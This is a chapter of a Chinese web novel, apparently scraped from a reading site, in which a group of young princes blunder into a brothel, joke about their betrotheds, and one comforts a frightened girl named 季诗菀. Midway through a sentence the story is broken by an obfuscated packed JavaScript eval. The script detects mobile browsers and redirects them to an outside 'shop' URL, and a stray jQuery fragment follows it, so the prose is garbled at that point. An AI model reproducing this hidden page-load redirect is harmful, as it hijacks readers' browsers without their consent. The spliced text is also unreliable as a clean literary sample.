48. 绮阁误临,絮绊微生
作品:《萧墙龙影,九州潮》 街上的风都带着股甜腻气,可这股甜意刚飘到醉仙楼门口,就被沈屹星一声爆喝劈得稀碎:“我靠!莫挨老子!”
少年穿着件亮青色锦袍,衣襟敞着两颗扣子,刚迈出去的脚跟钉在地上似的,猛地往后缩了半尺。左边个穿粉裙的姑娘伸手要拽他袖子,被他跟躲瘟疫似的侧身避开,右手还下意识摸了摸怀里——乔稚星绣的歪歪扭扭的鸳鸯荷包还在,这才松了口气,眼珠子跟雷达似的扫着街两头,生怕下一秒就看见乔稚星。
“小郎君生得真俊,陪我们喝杯酒呗?”粉裙姑娘没放弃,又凑上来,香帕子往他眼前晃了晃。沈屹星脸涨得通红,手忙脚乱地推:“滚蛋!老子有未婚妻,再碰我一下,我……我喊人了啊!”这话没半点威慑力,反倒逗得周围几个姑娘笑作一团。
他正慌得手忙脚乱,身后突然传来“咚”的一声闷响——转头一瞧,好家伙,萧北穆正跟见了狼的羊似的,连连往后退。几个穿水绿、鹅黄裙子的姑娘围着他,手里还拿着绣帕子要往他身上蹭,吓得萧北穆手都摆成了拨浪鼓:“别过来!真别过来!我下个月就成婚了!我未婚妻要是知道了,能把我腿打断!”
他本就生得周正,这会儿慌得耳朵尖都红了看着可人,让姑娘们更觉得有趣。一个穿鹅黄裙的姑娘故意往前凑了凑,笑着说:“成婚怕什么?就喝杯酒,又不耽误你娶媳妇~”,萧北穆吓得差点蹦起来,嘴里不停念叨:“不行不行,我姑姑知道了也得抽我!”
萧钧奕原本还靠在门框上乐呵,抱着胳膊看萧北穆的笑话,嘴角都快咧到耳根了:“哎哟,三哥你也有今天?平时不是挺能耐的吗……”话还没说完,就见几个姑娘端着酒壶凑了过来,为首的穿杏色裙姑娘还伸手要碰他的发带:“这位郎君看着面生,是第一次来?”
萧钧奕脸上的笑瞬间僵住,跟被施了定身咒似的。他猛地想起温聆汐那双能杀人的眼睛。这要是让温聆汐知道了,肯定大做文章,再到萧念面前告上一状。
一个姑娘直接把手搭在他肩上,还故意用指甲轻轻刮了下他的脖颈:“这位公子看着就风趣,陪奴家唱支曲儿呗?”
萧钧奕吓得一哆嗦,赶紧把姑娘的手扒下来:“别别别!我五音不全!唱跑调了怕吓着你!”
旁边萧亭宴倒是过得滋润。他本就是京里出了名的风流公子,又没婚约绑着,见两个姑娘凑过来,直接伸胳膊搂住一个的腰,另一只手还接过姑娘递来的酒盏,笑得眉眼弯弯:“走,进去喝两杯!”说着就跟没事人似的,搂着姑娘往楼里走。
萧堇沂被一个穿藕荷色裙的姑娘拉着胳膊往里走。他是几人中最小的,也是性子最沉的,眉头皱得能夹死蚊子,却没推开对方,就这么被半拉半拽地往前挪,脸上没什么表情,可耳尖却悄悄红了,别扭得不行。
众人才后知后觉地反应过来——这哪儿是什么酒楼?分明是青楼!沈屹星第一个跳脚:“我靠!谁刚才说这是卖酒的?!”他怀里的荷包都被攥得变了形,脑子里已经开始预想乔稚星知道后的场景:先是尖叫,再是动手,最后哭着去找萧念告状,萧念拿着鞭子过来,他的屁股指定得开花!
萧北穆也慌了,抓着萧钧奕的胳膊:“完了完了,我马上要成婚了,要是被我未婚妻知道,这婚还能成吗?姑姑要是知道了,非扒我一层皮不可!”
萧钧奕也没心思笑话他了,脸白得跟纸似的:“你以为我不怕?温聆汐要是知道了,我就完蛋了。”
萧亭宴倒是无所谓,搂着姑娘往二楼走,还回头劝他们:“怕什么?来都来了,喝两杯就走,谁能知道?再说了,咱们又不干别的,就是坐坐!”
沈屹星瞪着他:“你当然不怕!你没未婚妻!我们不一样!”话是这么说,可脚却没挪步——毕竟长这么大,还是第一次进这种地方,心里又慌又有点好奇,纠结得跟有两只猫在挠似的。
那边的萧訨暮仍旧还被几个姑娘围得水泄不通。十七岁的少年,眉眼间还带着点未脱的青涩。“小郎君陪奴家喝杯酒嘛~”左边穿玫红裙的姑娘伸手要碰他的袖角,萧訨暮往旁边躲了躲,刚想开口说“不用”,就听见身后传来一阵推搡声,还没等他回头,一个纤细的身影就“咚”地一声,结结实实摔在了他脚边。
那女子看着格外瘦弱,裙摆上还沾着点泥印,胳膊肘磕在青石板上,疼得眉头都拧在了一起,却没敢哭出声。萧訨暮见她这副模样,哪还顾得上别的,推开围着自己的几个人赶紧弯腰伸手:“你没事吧?快起来。”
他刚碰到姑娘的胳膊,就见对方猛地抬头——女子眉眼生得清秀,就是脸色太白,嘴唇也没什么血色,一双眼睛里满是慌乱,却又透着股倔强。没等萧訨暮反应过来,姑娘突然咬了咬牙,像是做了天大的决定,伸手就抱住了他的腰,脸颊紧紧贴在他的衣襟上。
萧訨暮整个人都僵住了,手还悬在半空,连呼吸都忘了。能清晰地感觉到对方的身子在不停发颤,胳膊也绷得紧紧的,显然是极不情愿,却又在硬撑着。这突如其来的拥抱,把他整得脑子发懵,下意识地抬手,轻轻搂住了对方的后背,生怕她再摔下去。
萧亭宴刚搂着姑娘走到楼梯口,回头一瞧这架势,当即笑出了声,还故意扬高了嗓门:“我靠,六弟可以啊!”,这话一出,其余几人也齐刷刷看了过来。
“六哥牛,这咋还抱上了?”沈屹星打趣道。萧訨暮的脸瞬间红透了,从耳根红到脖子,想推开怀里的人,可看着姑娘发抖的肩膀,又不忍心——他能猜到这女子定是有难处,不然也不会这么委屈自己。他深吸一口气,伸手轻轻拍了拍她的背,声音放得柔了些:“别怕,我……我带你去别的地方。”
说完,他顶着众人起哄的目光,半扶半搂着往包间走。姑娘没说话,只是顺从地跟着他,胳膊依旧环着他的腰,只是颤抖的幅度小了些,像是稍微安心了些。他也是这会才知道,这姑娘叫季诗菀,原本是大户人家的小姐,后来家道中落,不得已进了醉仙楼。
包厢的门被关上,隔绝了楼外的喧嚣。众人落座,萧堇沂先开了口。他身边还缠着那个穿藕荷色裙的姑娘,姑娘正用手指绕着他耳后垂落的青丝,蹭得他颈间发痒,他却只是偏了偏头,目光落在窗外,声音淡淡的:“三哥马上要成婚了,往后搬去宫外的宅子,连护卫都是自己挑的,羡慕了。”
沈屹星正剥花生往嘴里塞,闻言翻了个白眼:“羡慕啥?成亲有啥好的?你怕是没尝过被人管着的滋味!”
萧堇沂转头看他:“成亲不好吗?”
“好个屁!”沈屹星拍着桌子站起来,怀里的鸳鸯荷包露了半截,他又赶紧按回去,“你是没见到我家那一位,跟个母老虎似的,我要是有的选,宁愿孤独终老,也绝对不娶她!”
“你还算好!”萧钧奕揉了揉眉心,语气里满是无奈,“温聆汐跟乔稚星不一样,她不吵不闹,却能把人逼疯。你见过哪家大家闺秀,天天想着拆自己未来丈夫的台?我跟她哪是成亲,分明是互相折磨,我是真的怕了,一想到将来还要在一起过一辈子,想死的心都有了。”
“四嫂嫂挺好的啊。”萧亭宴正搂着个姑娘喝酒,突然插嘴,酒液沾在他唇角,他用指腹擦了擦,笑得漫不经心。
“说了,不许喊她四嫂嫂!”萧钧奕瞬间瞪圆了眼,声音都拔高了几分。萧亭宴撇了撇嘴,沈知韫抬眼看向他们,眼底带着点笑意:“我家阿渔就不这样。”
“呕——”沈屹星做出反胃的模样,“哥你就别秀了,再秀我可要把刚才吃的点心全吐出来了!”
萧北穆原本还在附和沈屹星,突然想起什么,嘴角的笑意淡了些:“其实我家觉得书荞也挺好的”
余书荞是太师之女,还是萧念赐的婚,原因是他俩八字合,小时候也一起玩过,知根知底。“哦?”萧钧奕挑了挑眉,故意拖长了语调,“三哥你忘了,上次在御花园余书荞是怎么追着你打的?”
这话像是一盆冷水,瞬间浇灭了萧北穆的得意。他脸上的笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968876|193417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容僵住,猛地拍了下桌子:“成婚一点也不好!书荞发起火来也跟母老虎似的,我才不盼着成婚呢!”
包厢里吵吵嚷嚷,唯独角落的位置安安静静。萧訨暮坐在那里,季诗菀半靠在他身侧,双手轻轻攥着他的衣袖,脑袋垂着,长长的睫毛在眼下投出片浅影。萧訨暮没说话,只抬手轻轻拍了拍她的手背,像是在安抚。两人之间没什么对话,可那姿态却透着股说不出的暧昧——季诗菀的肩膀偶尔会轻轻蹭到他的胳膊,萧訨暮也没避开。
“对了,你们听说了吗?大哥又跑去寺庙了。”萧亭宴喝了口酒,突然想起这件事,“前几天刚被影七抓回来,姑姑气得差点罚他禁足三个月。”
“啊?”沈屹星瞪大了眼睛,“都仨孩子了,怎么还想着出家?”,萧钧奕放下酒杯,手指敲了敲桌案:“大哥心思本就不在朝堂,要不是姑姑他恐怕早就遁入空门了。不过话说回来,大哥三个孩子,三哥马上就要成婚,咱们几个里,就剩二哥还没动静了。”
“二哥啊?”萧亭宴随手抓把瓜子磕起来,“前阵子姑姑还想给他说门亲,是大理寺卿的千金,模样性子都好,结果被他婉拒了。谁也不知道他怎么想的,天天躲着三表妹,连亲都不想成了,我看他是打算一辈子跟棋谱过了。”
萧北穆又想起什么,语气沉了些:“说起婚事,长姐前些日子又回宫里了……”
瑞音公主萧芮,萧然和江慕淳的长女,和萧浩瑞也是孪生,今年二十三岁了,之前怀过一个孩子,可惜早产,从那以后,她和驸马的感情就一直不好。
这话一出,包厢里的气氛冷了下来。萧钧奕瞬间没了胃口:“驸马是真有本事,长姐好歹嫡公主,他竟敢这么对待?配吗?过些日子咱们找个机会,好好‘拜访’一下他”
“就是!”沈屹星也附和,“不能让她受了委屈。”
萧亭宴感叹着:“我还是觉得,不结婚最好,自在!”他说着,目光无意间扫过楼下,突然顿住了——台上正坐着个抚阮的姑娘,瞬间吸引了他的注意力。
众人顺着他的目光看去,也都愣住了。那姑娘垂眸抚阮,广袖如流瀑般垂坠,身上穿的孔雀蓝纱衣泛着鲛绡般的珠光,袖沿绣着的金色彩枝纹随着她的动作轻轻漾开,恍若夜空中碎落的星子,耀眼得让人移不开眼。她胸前的织金抹胸暗纹隐现,肩头露出的雪肤细腻白皙,衬得颈间那串细银链愈发晃眼。腰间系着条橙红绡带,将腰身束得纤细,下摆却层叠着明黄、翠绿的薄纱,不过是微微动了下步幅,诸色纱裙便在灯影里绞作一团,像幅泼墨般恣肆的画。
再看她的模样,云鬓上簪满了朱粉靛蓝的花簇,额间点着颗朱砂花钿,与她唇上的胭脂色恰好相契。指尖轻轻拂过阮琴琴弦时,广袖垂坠的褶皱里,竟漫出几分敦煌飞天的幻彩来,清雅又带着股说不出的妩媚。
“这姑娘是谁?”萧亭宴看得挪不开眼,连忙问身边搂着的姑娘。
那姑娘笑着撇了撇嘴,却还是回道:“她叫漾冉,是咱们醉仙楼刚评选出来的花魁,今儿是第一次登台抚阮呢。”
萧亭宴恍然大悟,忍不住啧啧感叹:“难怪这么出众,原来是花魁。”
这边众人都在关注台上的漾冉,角落里的萧堇沂却被身边的姑娘缠得有些无奈。那姑娘不知何时凑得更近了,半边身子几乎都靠在他怀里,手指不仅玩着他的发丝,还轻轻蹭着他的脖颈,胆子大得超乎想象。
萧堇沂一直没在意,只当是姑娘家的小性子,可直到那姑娘的手指快要碰到他衣领里的玉佩时,他才终于侧过头,目光落在她脸上,声音依旧平静:“你叫什么名字?”
那姑娘显然没料到他会突然问自己的名字,愣了一下,随即眼睛亮了起来,声音软软的:“我叫幼笙。”
萧堇沂点了点头,没再说话,只是轻轻把她往旁边推了推,保持了个不算疏远却也得体的距离。幼笙也不恼,依旧笑眯眯地看着他,手指又缠上了他的发丝,显然没打算放过他。

